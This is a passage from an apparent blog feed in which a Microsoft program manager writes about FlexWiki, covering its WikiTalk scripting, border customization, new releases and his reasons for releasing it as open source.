[DllImport("User32.dll")]
public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC);
As you can see, all of the APIs can turn possible a lot of things we might think are impossible. And really, there is a lot of stuff you can do through these calls. If you look in the API Reference linked below, you'll be able to find every one of the methods used in this article. For example, as in the reference, there is the ReleaseDC method:
ReleaseDC
int ReleaseDC(
__in HWND hWnd,
__in HDC hDC
);
This won't work in C#, as it does not have HWND or HDC types. the __in tells us that the parameter will be read by the method and will not be outputted. The types are pointers to handles, so we can simply replace them by the IntPtr .NET Framework provides. And the return type is pretty obvious, an integer.
HWND
HDC
__in
IntPtr
return
To implement all of these features, I had to do several calls to Win32 APIs of user32.dll. The most annoying part was to grab all the correct window messages sent to the form and the constant values as the .NET Framework does not have any mapping of these messages.
As a resource, I used MSDN's Windows API Reference, Visual C++ winuser.h header file and the Output window of Visual Studio to watch incoming messages (System.Diagnostics.Debug.WriteLine) as I messed with the form to make it repaint. Which is the case of message 0x86(WM_NCACTIVATE), that was unlabeled on the previous version of the article because I didn't find proper documentation (thanks Spectre2x).
System.Diagnostics.Debug.WriteLine
0x86
I hope you enjoy the code. Please, feel free to leave your feedback.
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
[DllImport("uxtheme.dll")]
private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList);
protected override void OnHandleCreated(EventArgs e)
{
SetWindowTheme(this.Handle, null, "");
base.OnHandleCreated(e);
}
using System.Runtime.InteropServices;
General News Suggestion Question Bug Answer Joke Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | http://www.codeproject.com/Articles/93959/WinForm-Extended?fid=1579240&df=90&mpp=10&sort=Position&spc=None&tid=3721482 | CC-MAIN-2015-32 | refinedweb | 2,447 | 55.54 |
[Antoon Pardon] > Just because I think that > > for ... > if ... > for > loop > code > endfor > endif > endfor > remainder > > is in general more readable than > > for ... > if ... > for ... > loop > code > remainder > > I'm writing spaghetti code. I would not go that far as to say that you are writing spaghetti code. But I really think that the Python-styled code is easier to read. It may be a matter of personal opinion. One distinct advantage of Python's style is that it makes for a slightly shorter code, which in turn fits better into the editing window. And nothing stops you from using comments or whitespace to mark the end of the enclosed blocks. So this is not necessary... and insisting loudly on your point doesn't help, either. -- Carlos Ribeiro Consultoria em Projetos blog: blog: mail: carribeiro at gmail.com mail: carribeiro at yahoo.com | https://mail.python.org/pipermail/python-list/2004-September/250584.html | CC-MAIN-2014-10 | refinedweb | 143 | 76.82 |
Tcl8.6.7/Tk8.6.7 Documentation > [incr Tcl] Package Commands, version 4.1.0 > ensembleitcl::ensemble — create or modify a composite command
SYNOPSISitcl::ensemble ensName ?command arg arg...?
or
ensemble ensName {
part partName args body
...
ensemble partName {
part subPartName args body
part subPartName args body
...
}
}
DESCRIPTIONThe ensemble command is used to create or modify a composite command. See the section WHAT IS AN ENSEMBLE? below for a brief overview of ensembles.
If the ensemble command finds an existing ensemble called ensName, it updates that ensemble. Otherwise, it creates an ensemble called ensName. If the ensName is a simple name like "foo", then an ensemble command named "foo" is added to the current namespace context. If a command named "foo" already exists in that context, then it is deleted. If the ensName contains namespace qualifiers like "a::b::foo", then the namespace path is resolved, and the ensemble command is added that namespace context. Parent namespaces like "a" and "b" are created automatically, as needed.
If the ensName contains spaces like "a::b::foo bar baz", then additional words like "bar" and "baz" are treated as sub-ensembles. Sub-ensembles are merely parts within an ensemble; they do not have a Tcl command associated with them. An ensemble like "foo" can have a sub-ensemble called "foo bar", which in turn can have a sub-ensemble called "foo bar baz". In this case, the sub-ensemble "foo bar" must be created before the sub-ensemble "foo bar baz" that resides within it.
If there are any arguments following ensName, then they are treated as commands, and they are executed to update the ensemble. The following commands are recognized in this context: part and ensemble.
The part command defines a new part for the ensemble. Its syntax is identical to the usual proc command, but it defines a part within an ensemble, instead of a Tcl command. If a part called partName already exists within the ensemble, then the part command returns an error.
The ensemble command can be nested inside another ensemble command to define a sub-ensemble.
WHAT IS AN ENSEMBLE?The usual "info" command is a composite command--the command name info must be followed by a sub-command like body or globals. We will refer to a command like info as an ensemble, and to sub-commands like body or globals as its parts.
Ensembles can be nested. For example, the info command has an ensemble info namespace within it. This ensemble has parts like info namespace all and info namespace children.
With ensembles, composite commands can be created and extended in an automatic way. Any package can find an existing ensemble and add new parts to it. So extension writers can add their own parts, for example, to the info command.
The ensemble facility manages all of the part names and keeps track of unique abbreviations. Normally, you can abbreviate info complete to info comp. But if an extension adds the part info complexity, the minimum abbreviation for info complete becomes info complet.
The ensemble facility not only automates the construction of composite commands, but it automates the error handling as well. If you invoke an ensemble command without specifying a part name, you get an automatically generated error message that summarizes the usage information. For example, when the info command is invoked without any arguments, it produces the following error message:
wrong # args: should be one of... info args procname info body procname info cmdcount info commands ?pattern? info complete command info context info default procname arg varname info exists varName info globals ?pattern? info level ?number? info library info locals ?pattern? info namespace option ?arg arg ...? info patchlevel info procs ?pattern? info protection ?-command? ?-variable? name info script info tclversion info vars ?pattern? info which ?-command? ?-variable? ?-namespace? name
You can also customize the way an ensemble responds to errors. When an ensemble encounters an unspecified or ambiguous part name, it looks for a part called @error. If it exists, then it is used to handle the error. This part will receive all of the arguments on the command line starting with the offending part name. It can find another way of resolving the command, or generate its own error message.
EXAMPLEWe could use an ensemble to clean up the syntax of the various "wait" commands in Tcl/Tk. Instead of using a series of strange commands like this:
vwait x tkwait visibility .top tkwait window .
we could use commands with a uniform syntax, like this:
wait variable x wait visibility .top wait window .
The Tcl package could define the following ensemble:
itcl::ensemble wait part variable {name} { uplevel vwait $name }
The Tk package could add some options to this ensemble, with a command like this:
itcl::ensemble wait { part visibility {name} { tkwait visibility $name } part window {name} { tkwait window $name } }
Other extensions could add their own parts to the wait command too. | http://docs.activestate.com/activetcl/8.6/tcl/ItclCmd/ensemble.html | CC-MAIN-2018-09 | refinedweb | 819 | 57.16 |
plotly 0.7.3
plotly.dart #
A Dart interface to plotly.js, plotly.dart is a high-level, declarative charting library.
Usage #
var trace = { 'x': [1, 2, 3, 4], 'y': [10, 15, 13, 17], 'mode': 'markers' }; var layout = { 'title': 'Scatter Plot', 'height': 800, 'width': 960 }; new plotly.Plot.id('myDiv', [trace], layout);
Changelog #
0.7.3 #
- Updated plotly version (1.26.1) official
0.7.2 #
- Updated plotly version to latests (1.25.2)
0.7.1+2 #
- Added purge method
0.7.1+1 #
- Fixed deleteFrames method
0.7.1 #
- Added support for animations
0.7.0 #
- Added support for plotly 1.24.0
0.0.6+2 #
- Fixed map and lists jsify
0.0.6+1 #
- Fixed addTraces
Use this package as a library
1. Depend on it
Add this to your package's pubspec.yaml file:
dependencies: plotly: ^0.7.3
2. Install it
You can install packages from the command line:
with pub:
$ pub get
Alternatively, your editor might support
pub get.
Check the docs for your editor to learn more.
3. Import it
Now in your Dart code, you can use:
import 'package:plotly/plot. | https://pub.dev/packages/plotly | CC-MAIN-2019-39 | refinedweb | 190 | 71.51 |
}}
The first step is to create a MoDisco project.
The second step is to create a query set. This query set will store boolean queries indicating if an object conforms to a facet.
Right-click on the MoDisco project and select New > Other....
Select Facet Model and press the Next button
Choose a name for your model facet set (My.facetSet in the example) and press Finish.
Open the "My.facetSet" file and open the Properties View.
Set the name of the facet set and make sure that the facet set name is the same as the containing file name ("My" in the example). The nsURI and prefix must also be filled.
Load the resources containing the meta-model extended by the facet set. To load a meta-model resource you must use the Load Meta-model Resource action.
In this example, we choose to use the Java meta-model.
Fill the Extended Package field with the ePackage containing the virtually extended meta-model.
Right click on the FacetSet element and choose New Child > Facet to create a facet.
Set the facet name and the class that the facet will extend.
To specify how to know if an object conforms to a facet, we have to provide a boolean query. To provide this query we have to load the model containing its description.
Right-click in the editor and choose Load MoDisco Resource:
The query has to be referred to using the MoDisco protocol ("modisco:/query/<querySetName>"). In the example, we use the "My" query set.
Once the query set resource is referenced, we just have to select the query describing the facet. In the example this query is named "isAbstract".
At this step, if we save the model, the error marker should disappear from the file's icon, indicating that the facet set model is now valid.
If the facet has specific attributes or references which can be calculated, we can declare them. In this example, we will declare an attribute indicating the number of abstract methods contained in the abstract class. To create a new facet attribute right-click on the facet element and select the New Child > FacetAttribute. facet set is now ready to be used.
If a facet set model is valid, it is registered in the facet set catalog. To consult the facet set catalog, we can use the "Facet Set" view.
To open this view select Windows > Show view > Other ... in the menu bar and choose Facet Sets in the list.
The "Facet Sets" view presents the available facet sets and their facets. For each facet set the location of its description model is pointed out.
Here is an example of using the MoDisco facet API. For more information please refer to the JavaDoc.
import org.eclipse.emf.ecore.EObject; import org.eclipse.gmt.modisco.infra.query.core.exception.ModelQueryException; import org.eclipse.gmt.modisco.infra.facet.Facet; import org.eclipse.gmt.modisco.infra.facet.FacetSet; import org.eclipse.gmt.modisco.infra.facet.core.FacetSetCatalog; import org.eclipse.gmt.modisco.infra.facet.core.exception.ModiscoFacetException;
public class Example {
public Integer getNbAbstractMethod(EObject eObject) throws ModelQueryException, ModiscoFacetException { FacetSet facetSet = FacetSetCatalog.getSingleton().getFacetSet("My"); FacetContext context = new FacetContext(); context.addFacetSet(facetSet); Facet facet = facetSet.getFacet("AbstractClassDeclaration"); if (context.isInstance(eObject, facet)) { Object object = context.get(eObject, facet .getEStructuralFeature("nbAbstractMethod")); if (object instanceof Integer) { Integer nbAbstractMethod = (Integer) object; return nbAbstractMethod; } } return null; } }
To package a facet set in a plug-in, an extension must be added in the plugin.xml file (contained by the facet set's project). The extension point to use is: org.eclipse.gmt.modisco.infra.facet.registration. Here is an example of a facet set declaration:
<plugin> <extension point="org.eclipse.gmt.modisco.infra.facet.registration"> <facetset file="_example_jdkAndEclipseFacets.facetSet"> </facetset> </extension> </plugin>
Thanks to this extension declaration, the MoDisco project is ready to be exported as a plug-in.
The facet meta-model extends the ecore meta-model and uses the query meta-model.
A FacetSet is a kind of EPackage. A FacetSet contains facets through the eClassifier reference. A facet is a kind of EClass.
For a facet instance, the eSuperType reference must be set to specify which class the facet virtually extends.
The facet class has one specific reference: conditionQuery. The conditionQuery reference points to the ModelQuery class. The model queries pointed to by the conditionQuery reference must return a Boolean. Those queries are used to specify how to decide whether an instance conforms to a facet. If the conditionQuery is empty then all the instances of the class referred to by the facet instance through the eSuperType reference conform to this facet.
A facet contains facetAttributes and facetReferences through the eStructuralFeature reference. The FacetAttribute and FacetReference classes have a common super class: FacetStructuralFeature. The FacetStructuralFeature has one reference named valueQuery pointing to the ModelQuery class. The valueQuery is used to compute the facet structural feature value. The facetAttribute and facetReference must have the same type as the query they refer to.
Category:MoDisco
This document is maintained in a collaborative wiki. If you wish to update or modify this document please visit | http://help.eclipse.org/indigo/topic/org.eclipse.gmt.modisco.infra.doc/doc/MoDisco/Components/FacetManager/Documentation/0.9/0.9.html | crawl-003 | refinedweb | 853 | 60.01 |
Created 6 November 2011def.
As an example of programmatic use, here's one way to use Caveman in a Django
test suite:
from caveman import ManifestCheckerclass)
Caveman only pulls the HTML page you specify. Although it validates links to
other HTML pages against the manifest, it does not pull those linked-to pages
and verify their resources.
Certain rules from the HTML5 spec are not validated.
Caveman can be downloaded from PyPI:.
The HTML5 cache manifest spec is at.
Code repository and issue tracker are at bitbucket.org.
This kind of thing would be trivial to do with phantomjs "Headless WebKit with a JavaScript API". It would also run any JavaScript portion of your HTML.
2011,
Ned Batchelder | http://nedbatchelder.com/code/caveman/ | crawl-003 | refinedweb | 118 | 68.26 |
Maybe the Zope-Dev guys have comments on this.... > >From: Jim Fulton <[EMAIL PROTECTED]> > > > >Michel, > > > >You have advocated that methods should always be bound to the objects they > >are accessed in. You argue that there should be no choice in the matter. > > > >I have to disagree strongly. I'll try to explain why. > > > >In Python, methods are bound to instances. Methods are part > >of an instance's core behavior. They are specific to the kind > >of thing the instance is. In my words, methods are part of > >the genetic makeup of an object. > > > >In Zope, we allow some methods to be bound to their context. > >This is done in a number of ways and is sometimes very useful. > >We have methods, like standard_html_header, which are designed > >to be used in different contexts. > > > >We have other methods, like manage_edit that are designed to > >work on specific instances. It would be an egregious error > >if this method was acquired and applied to it's context. > > > >We have some methods that are designed to bound to an instance > >(container, in your terminology) but that, because they are written in > >DTML, can be bound to other objects. This can cause significant problems. > >For example, methods defined in ZClasses almost always want to be > >bound to ZClass instances, not to other arbitrary objects. > > > ><aside>There's a bonus problem with DTML Methods. When > >a DTML Method is invoked from another DTML Method, it > >is bound to neither the object it was accessed in or > >to the object it came from. It is bound to the calling > >namespace. It turns out that this is a useful behavior > >if the DTML Method is designed to be used as a "subtemplate". > ></aside> > > > >There is no one "right" way to bind a method. There are good > >reasons to sometimes bind a method to it's context and > >sometimes bind a method to it's container (ie instance). > >There are even sometimes reasons to bind a method to a > >calling namespace. > > > >The principle of least surprise doesn't help here, because > >methods defined in Python classes don't behave the way > >methods defined through the web do currently. > > > >We *need* control over binding, as well as reasonable defaults. > > > >If we can agree that we need binding control, the question > >arises as to some details and default names. > > > >Should it be possible to do more than one binding at a time, > >using multiple names? If not, then I'd agree that the name > >'self' should be used for either the context or container binding. > >If both bindings are allowed at the same time, then 'self' should > >refer to container binding to be consistent with standard Python > >usage and some name like 'context' should be used (by default) > >for contextual binding. > > > >Jim _______________________________________________ Zope-Dev maillist - [EMAIL PROTECTED] ** No cross posts or HTML encoding! ** (Related lists - )
- [Zope-dev] Michel's Reply | https://www.mail-archive.com/zope-dev@zope.org/msg02693.html | CC-MAIN-2018-09 | refinedweb | 479 | 73.68 |
Let’s learn how to count how many zeros you have in array. There are two different Python methods you can use.
Using a count_nonzero method
We will use really unexpected Numpy method. For sure you will be surprised. To count a zeros frequency in your matrix you need to use count_nonzero function. Then as a parameter you should use your array == 0. Believe me it works.
import numpy as np my_array = np.array([[1, 0, 5], [5, 3, 0], [0, 0, 2]]) zeros_frequency = np.count_nonzero(my_array == 0) print(f"Count of zeroes in my array: \n{zeros_frequency}")
As you can see count_nonzero function counted zeros.
Using a where method
The second way to calculate zeros in an array is to use where Python method.
import numpy as np my_array = np.array([[1, 0, 5], [5, 3, 0], [0, 0, 2]]) zeros_frequency = my_array[np.where(my_array == 0)].size print(f"There are {zeros_frequency} zeros in my array.")
This time zeros_frequency will provide an array of zeros. To calculate the number of zeros simply, you need to return the size of that array.
The output is the same.
There are 4 zeros in my array. | https://pythoneo.com/count-how-many-zeros-you-have-in-array/ | CC-MAIN-2022-40 | refinedweb | 194 | 69.89 |
Hi,
I need to write a simple function which will work only when a specific definition is defined, but i can't use ifdef in C file according to linux coding guidelines
so i wrote this example but i keep getting this error:
file.c: error: redefinition of 'function1'
file.h: error: previous definition of 'function1' was here
in this example all i want is that function1 will be called only if RUN_FUNC1 is defined, else i want the inline function1 to be called.
any ideas?any ideas?Code:file.h ... #ifdef RUN_FUNC1 void function1(void); #else static inline void function1(void) { printk("RUN_FUNC1 not defined\n"); }; #endif ... file.c ... void function1(void) { printk("RUN_FUNC1 defined\n",); } ...
10x | https://cboard.cprogramming.com/c-programming/109964-ifdef-harmful-but-simple-workaround-not-working.html?s=61cd4ffb6b77c536eb99ced65adf2984 | CC-MAIN-2021-31 | refinedweb | 118 | 59.03 |
tensorflow::
ops:: QueueDequeueUpTo
#include <data_flow_ops.h>
Dequeues
n tuples of one or more tensors from the given queue.
Summary
This operation is not supported by all queues. If a queue does not support DequeueUpTo, then an Unimplemented error is returned.
If the queue is closed and there are more than 0 but less than
n elements remaining, then instead of returning an OutOfRange error like QueueDequeueMany, less than
n elements are returned immediately. If the queue is closed and there are 0 elements left in the queue, then an OutOfRange error is returned just like in QueueDequeueMany. Otherwise the behavior is identical to QueueDequeueMany:queue | https://www.tensorflow.org/versions/r2.0/api_docs/cc/class/tensorflow/ops/queue-dequeue-up-to?hl=hr | CC-MAIN-2021-39 | refinedweb | 105 | 56.55 |
OpenGL Programming/Intermediate/Textures
Contents
Types[edit]
There are several different types of textures that can be used with opengl:
- GL_TEXTURE_1D: This is a one dimensional texture. (requires opengl 1.0)
- GL_TEXTURE_2D: This is a two dimensional texture (it has both a width and a height). (requires opengl 1.0)
- GL_TEXTURE_3D: This is a three dimensional texture (has a width, height and a depth). (requires opengl 1.2)
- GL_TEXTURE_CUBE_MAP: Cube maps are similar to 2D textures but generally store six images inside the texture. Special texture mapping is used to map these images onto a virtual sphere. (requires opengl 1.3)
- GL_TEXTURE_RECTANGLE_ARB: this texture format is much like the two dimensional texture but supports non power of two sized textures (requires
Basic usage[edit]
GLuint theTexture; glGenTextures(1, &theTexture); glBindTexture(GL_TEXTURE_2D, theTexture); glTexEnvi(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_DECAL); // ... glTexImage2D(...); // draw stuff here glDeleteTextures(1, &theTexture);
When you set up a new texture, you will usually have a pixel array in memory, as well as the dimensions of the image. (Image libraries or OpenGL wrappers might provide you with routines to read various graphic formats and directly make textures from them, but in the end it is all the same.)
For that, you first tell OpenGL to give you a new texture "template", which you then select to work with it afterwards. You set various parameters, like how the texture is drawn. It is possible to make it that, for textures with alpha channel, the objects behind it are drawn, but it is incompatible with the depth buffer (it does not know the texture is translucent, marks the object in the front as solid and will not draw the objects behind). You then need to sort the objects by their distance to the camera by yourself and draw them in that order to get proper results. This is not handled here, by the way.
Finally you give OpenGL the pixel array and it will load the texture into memory.
Let's write a function that allows us to read the pixel array from a file, specifying the dimensions as parameters:
#include <stdio.h> #include <stdlib.h> #include <GL/gl.h> #include <GL/glut.h> GLuint raw_texture_load(const char *filename, int width, int height) { GLuint texture; unsigned char *data; FILE *file; // open texture data file = fopen(filename, "rb"); if (file == NULL) return 0; // allocate buffer data = (unsigned char*) malloc(width * height * 4); // read texture data fread(data, width * height * 4, 1, file); fclose(file); // allocate a texture name glGenTextures(1, &texture); // select our current texture glBindTexture(GL_TEXTURE_2D, texture); // select modulate to mix texture with color for shading glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_DECAL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_DECAL); //); // texture should tile glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); // build our texture mipmaps gluBuild2DMipmaps(GL_TEXTURE_2D, 4, width, height, GL_RGBA, GL_UNSIGNED_BYTE, data); // free buffer free(data); return texture; }
The function eats image files that contain all pixel values in the order R, G, B, A. Such can be created using GIMP, for example: Make the image, merge all layers (necessary, because the RAW export module is broken), give it an alpha channel, save it and select RAW in the list of file types (at the bottom). (A recent version, 2.3 or up may be needed, I had problems with 2.2).
It returns you an OpenGL texture ID which you can select with glBindTexture(GL_TEXTURE_2D, texture) (passing the ID for texture).
Now that we loaded our texture, see how we can use it:
Example[edit]
/* compile with: gcc -lGL -lglut -Wall -o texture texture.c */ #include <GL/gl.h> #include <GL/glut.h> /* This program does not feature some physical simulation screaming for continuous updates, disable that waste of resources */ #define STUFF_IS_MOVING 0 #if STUFF_IS_MOVING #include <unistd.h> #endif #include <stdlib.h> #include <math.h> #include <time.h> /* using the routine above - replace this declaration with the snippet above */ GLuint raw_texture_load(const char *filename, int width, int height); static GLuint texture; void render() { glMatrixMode(GL_PROJECTION); glLoadIdentity(); /* fov, aspect, near, far */ gluPerspective(60, 1, 1, 10); gluLookAt(0, 0, -2, /* eye */ 0, 0, 2, /* center */ 0, 1, 0); /* up */ glMatrixMode(GL_MODELVIEW); glLoadIdentity(); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glPushAttrib(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glEnable(GL_TEXTURE_2D); /* create a square on the XY note that OpenGL origin is at the lower left but texture origin is at upper left => it has to be mirrored (gasman knows why i have to mirror X as well) */ glBegin(GL_QUADS); glNormal3f(0.0, 0.0, 1.0); glTexCoord2d(1, 1); glVertex3f(0.0, 0.0, 0.0); glTexCoord2d(1, 0); glVertex3f(0.0, 1.0, 0.0); glTexCoord2d(0, 0); glVertex3f(1.0, 1.0, 0.0); glTexCoord2d(0, 1); glVertex3f(1.0, 0.0, 0.0); glEnd(); glDisable(GL_TEXTURE_2D); glPopAttrib(); glFlush(); glutSwapBuffers(); } void init() { glClearColor(0.0, 0.0, 0.0, 0.0); glShadeModel(GL_SMOOTH); glEnable(GL_LIGHTING); glEnable(GL_LIGHT0); glEnable(GL_DEPTH_TEST); glLightfv(GL_LIGHT0, GL_POSITION, (GLfloat[]){2.0, 2.0, 2.0, 0.0}); glLightfv(GL_LIGHT0, GL_AMBIENT, (GLfloat[]){1.0, 1.0, 1.0, 0.0}); texture = raw_texture_load("texture.raw", 256, 256); } #if STUFF_IS_MOVING void idle() { render(); usleep((1 / 50.0) * 1000000); } #endif void resize(int w, int h) { glViewport(0, 0, (GLsizei) w, (GLsizei) h); } void key(unsigned char key, int x, int y) { if (key == 'q') exit(0); } int main(int argc, char *argv[]) { glutInit(&argc, argv); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH); glutInitWindowSize(640, 480); glutCreateWindow("Texture demo - [q]uit"); init(); glutDisplayFunc(render); glutReshapeFunc(resize); #if STUFF_IS_MOVING glutIdleFunc(idle); #endif glutKeyboardFunc(key); glutMainLoop(); return 0; }
Wow, that was a lot of code. Let's try to understand it, starting with main():
The first lines set up GLUT and are not worth being explained further.
init() sets up the canvas and the light and loads our texture into a global variable. Since we only have one texture here, it's useless, as we don't need to switch textures, but it's here anyway. (You switch textures using glBindTexture, see above.)
Then some callbacks are set up, also not worth being talked about, except the display function. First the camera is set up (if you would change the perspective during simulation, you'd make use of this - in this case it's redundant). The canvas is cleared then (you should also know that).
Now we switch texture mode on, which means everything we do now will be textured. The currently selected texture will be used, which is in this case the one we created before (it is still selected since it was first selected during setup). Then a square is created on the XY axis. Note the glTexCoord2d calls: They define which part of the texture is to be assigned to the next vertex. We will make more use of it in another example.
Eh, and then it's drawn. It didn't really hurt, did it?
You want to place a RAW image called texture.raw in the working directory, RGBA 256x256. Such files can be created with some graphics editors, including GIMP.
A simple libpng example[edit]
This c++ code snippet is an example of loading a png image file into an opengl texture object. It requires libpng and opengl to work. To compile with gcc, link png glu32 and opengl32 . Most of this is taken right out of the libpng manual. There is no checking or conversion of the png format to the opengl texture format. This just gives the basic idea.
#include <GL/gl.h> #include <GL/glu.h> #include <png.h> #include <cstdio> #include <string> #define TEXTURE_LOAD_ERROR 0 using namespace std; /** loadTexture * loads a png file into an opengl texture object, using cstdio , libpng, and opengl. * * \param filename : the png file to be loaded * \param width : width of png, to be updated as a side effect of this function * \param height : height of png, to be updated as a side effect of this function * * \return GLuint : an opengl texture id. Will be 0 if there is a major error, * should be validated by the client of this function. * */ GLuint loadTexture(const string filename, int &width, int &height) { //header for testing if it is a png png_byte header[8]; //open file as binary FILE *fp = fopen(filename.c_str(), "rb"); if (!fp) { return TEXTURE_LOAD_ERROR; } //read the header fread(header, 1, 8, fp); //test if png int is_png = !png_sig_cmp(header, 0, 8); if (!is_png) { fclose(fp); return TEXTURE_LOAD_ERROR; } //create png struct png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png_ptr) { fclose(fp); return (TEXTURE_LOAD_ERROR); } //create png info struct png_infop info_ptr = png_create_info_struct(png_ptr); if (!info_ptr) { png_destroy_read_struct(&png_ptr, (png_infopp) NULL, (png_infopp) NULL); fclose(fp); return (TEXTURE_LOAD_ERROR); } //create png info struct png_infop end_info = png_create_info_struct(png_ptr); if (!end_info) { png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp) NULL); fclose(fp); return (TEXTURE_LOAD_ERROR); } //png error stuff, not sure libpng man suggests this. if (setjmp(png_jmpbuf(png_ptr))) { png_destroy_read_struct(&png_ptr, &info_ptr, &end_info); fclose(fp); return (TEXTURE_LOAD_ERROR); } //init png reading png_init_io(png_ptr, fp); //let libpng know you already read the first 8 bytes png_set_sig_bytes(png_ptr, 8); // read all the info up to the image data png_read_info(png_ptr, info_ptr); //variables to pass to get info int bit_depth, color_type; png_uint_32 twidth, theight; // get info about png png_get_IHDR(png_ptr, info_ptr, &twidth, &theight, &bit_depth, &color_type, NULL, NULL, NULL); //update width and height based on png info width = twidth; height = theight; // Update the png info struct. png_read_update_info(png_ptr, info_ptr); // Row size in bytes. int rowbytes = png_get_rowbytes(png_ptr, info_ptr); // Allocate the image_data as a big block, to be given to opengl png_byte *image_data = new png_byte[rowbytes * height]; if (!image_data) { //clean up memory and close stuff png_destroy_read_struct(&png_ptr, &info_ptr, &end_info); fclose(fp); return TEXTURE_LOAD_ERROR; } //row_pointers is for pointing to image_data for reading the png with libpng png_bytep *row_pointers = new png_bytep[height]; if (!row_pointers) { //clean up memory and close stuff png_destroy_read_struct(&png_ptr, &info_ptr, &end_info); delete[] image_data; fclose(fp); return TEXTURE_LOAD_ERROR; } // set the individual row_pointers to point at the correct offsets of image_data for (int i = 0; i < height; ++i) row_pointers[height - 1 - i] = image_data + i * rowbytes; //read the png into image_data through row_pointers png_read_image(png_ptr, row_pointers); //Now generate the OpenGL texture object GLuint texture; glGenTextures(1, &texture); glBindTexture(GL_TEXTURE_2D, texture); glTexImage2D(GL_TEXTURE_2D,0, GL_RGBA, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, (GLvoid*) image_data); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); //clean up memory and close stuff png_destroy_read_struct(&png_ptr, &info_ptr, &end_info); delete[] image_data; delete[] row_pointers; fclose(fp); return texture; }
Specifying texture coordinates[edit]
Texture coordinates assign certain points in the texture to vertices. It allows you to save texture memory and can make work a bit easier. For example, a dice has six different sides. You can put every side next to each other in a texture and say "this side should get the leftmost third of my texture".
This makes even more sense when modeling complex objects like humans, where you have the body, legs, arms, head, ... if you would use extra texture files for every part, you quickly end up with a lot of texture files which are terribly inefficient to manage. You better put all parts in one file and select the appropiate part when drawing, performs much better.
You saw texture coordinates already in the previous example, although the selected part was the whole texture. The two parameters given to glTexCoord2d are numbers ranging from 0 to 1. (This has the advantage of being size-independent - you can later decide to use a higher-resolution texture and do not need to change the rendering code!)
Tips[edit]
- Switching textures is inefficient. Try to draw all objects with texture A first, then switch textures and draw everything with texture B, and so on. (If you have alpha textures, this can't be accomplished always, as you then must order all objects by yourself. An article about this might follow soon.)
- Try to combine small textures into one large and select the part you want with texture coordinates. This reduces the memory overhead and also reduces the number of texture switches. | http://en.wikibooks.org/wiki/OpenGL_Programming/Intermediate/Textures | CC-MAIN-2014-35 | refinedweb | 1,963 | 53.51 |
On Thu, Apr 14, 2011 at 8:33 AM, Greg Ewing <greg.ewing at canterbury.ac.nz> wrote: > Nick Coghlan wrote: > >> I have the glimmerings of a rewrite of PEP 3150 kicking around in my >> skull, that may include restricting it to assignment statements > > Please don't, as that would eliminate a potentially useful > set of use cases. > > Or at least it would be trying to, but it wouldn't be entirely > effective, because you would always be able to write > > dummy = something(foo) given: > foo = ... Yep, that's why I'm considering just describing the motivation in terms of assignment, but then expanding it to other cases (including "pass") to avoid silly workarounds when people decide to use it more for the local namespace aspect than the "it's like 'def' for arbitrary assignments" aspect (and "return" and "yield" have a lot in common with assignment, anyway). >> Another addition I am considering is the idea of allowing the "given" >> suite to contain a docstring... This may require >> disallowing tuple unpacking and multiple assignment targets > > I'm guessing you're thinking that the docstring would be > assigned to the __doc__ attribute of whatever object the > RHS expression returns. Ah, true, that would make a lot of sense. It also generalises nicely to other cases like "return" and "yield" as well. I'll see if I can thrash out something sensible along those lines. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia | https://mail.python.org/pipermail/python-ideas/2011-April/009905.html | CC-MAIN-2016-30 | refinedweb | 243 | 60.55 |
Construct a list of fonts
#include <photon/Pf.h> int PfQueryFonts( long symbol, unsigned flags, FontDetails list[], int n );
This function constructs a list of all fonts that may be used to render the character specified by the symbol parameter. For example, use 'A' to get a list of normal/Latin fonts, or 0x3A9 (omega) to get a list of Greek fonts. (See PkKeyDef.h or ISO/EIC 10646-1 for a list of symbols.)
The list of fonts is further filtered by the flags parameter, which may contain any combination of the following:
Up to n matching font family entries are placed in the user-provided list.
The entries in the list are of type FontDetails, and contain the following fields:
The number of matching fonts found, or -1 on error.
Photon
PtFontSel (in the Photon Widget Reference) | https://www.qnx.com/developers/docs/qnx_4.25_docs/photon114/lib_ref/pf/pfqueryfonts.html | CC-MAIN-2021-25 | refinedweb | 139 | 60.75 |
David Ornstein's WebLogI'm a Lead Program Manager in the Digital Documents group at Microsoft; we're part of the Windows team. Evolution Platform Developer Build (Build: 5.6.50428.7875)2004-01-20T08:57><div style="clear:both;"></div>><div style="clear:both;"><><div style="clear:both;"></div><img src="" width="1" height="1">dornstein customizable borders now well-documented finally go around to writing up some solid documentation describing all the ways that that the <a href="">borders on a FlexWiki page can be customized</a>.<div style="clear:both;"></div>><div style="clear:both;"></div>><div style="clear:both;"></div>><div style="clear:both;"></div> />As I was thinking about what I'd write in the blog entry, I found myself enumerating questions that I thought people would have. So, I'm going to use question and answer form to talk this through. It's been a pretty exhausting process getting ready for tonight (not to mention the hard work going on in my "real" job at Microsoft and my fabulous, but recently sick family). If I've missed something important, forgive me - or better yet, let me know.<br /><br /><font color="#0000ff"><strong>Why am I doing this?</strong></font></p> <p>So if it was exhausting, you might ask: <i>why are you doing it?</i> Well... for me it's all about the FlexWiki experiment. I've spent a lot of time on a lot of projects over the years and there are a set of things that I've seen cause pain and suffering consistently throughout. It's always seemed to me like a number of those things could be addressed by Wiki (e.g., not enough communication, a lack of a shared vocabulary, tools 